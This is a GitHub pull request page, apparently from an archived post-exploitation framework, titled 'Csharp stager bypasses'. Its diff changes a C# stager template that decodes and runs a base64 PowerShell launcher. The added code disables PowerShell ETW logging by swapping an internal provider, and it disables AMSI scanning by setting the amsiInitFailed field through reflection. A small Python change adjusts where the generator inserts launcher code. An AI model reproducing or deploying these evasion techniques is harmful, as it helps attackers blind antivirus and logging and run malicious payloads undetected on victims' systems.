Skip to content
This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

Csharp stager bypasses #1253

Open
wants to merge 3 commits into
base: dev
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 19 additions & 7 deletions data/misc/cSharpTemplateResources/cmd/cmd/Program.cs
Original file line number Diff line number Diff line change
@@ -1,22 +1,20 @@
/*
*
* You may compile this in Visual Studio or SharpDevelop etc.
*
*
*
*
*/
using System;
using System.Text;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Reflection;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace cmd
{
class Program
{
public static void Main(string[] args)
{
BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static;

string stager = " YOUR CODE GOES HERE";
var decodedScript = Encoding.Unicode.GetString(Convert.FromBase64String(stager));

Expand All @@ -25,6 +23,20 @@ public static void Main(string[] args)
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();

var PSEtwLogProvider = pipeline.Commands.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider");
if (PSEtwLogProvider != null)
{
var EtwProvider = PSEtwLogProvider.GetField("etwProvider", flags);
var EventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid());
EtwProvider.SetValue(null, EventProvider);
}

var amsiUtils = pipeline.Commands.GetType().Assembly.GetType("System.Management.Automation.AmsiUtils");
if (amsiUtils != null)
{
amsiUtils.GetField("amsiInitFailed", flags).SetValue(null, true);
}

pipeline.Commands.AddScript(decodedScript);

pipeline.Commands.Add("Out-Default");
Expand Down
2 changes: 1 addition & 1 deletion lib/stagers/windows/csharp_exe.py
Original file line number Diff line number Diff line change
Expand Up @@ -125,7 +125,7 @@ def generate(self):
shutil.copytree(directory,destdirectory)

lines = open(destdirectory + 'cmd/Program.cs').read().splitlines()
lines[19] = "\t\t\tstring stager = \"" + launcherCode + "\";"
lines[17] = "\t\t\tstring stager = \"" + launcherCode + "\";"
open(destdirectory + 'cmd/Program.cs','w').write('\n'.join(lines))
shutil.make_archive(outfile,'zip',destdirectory)
shutil.rmtree(destdirectory)
Expand Down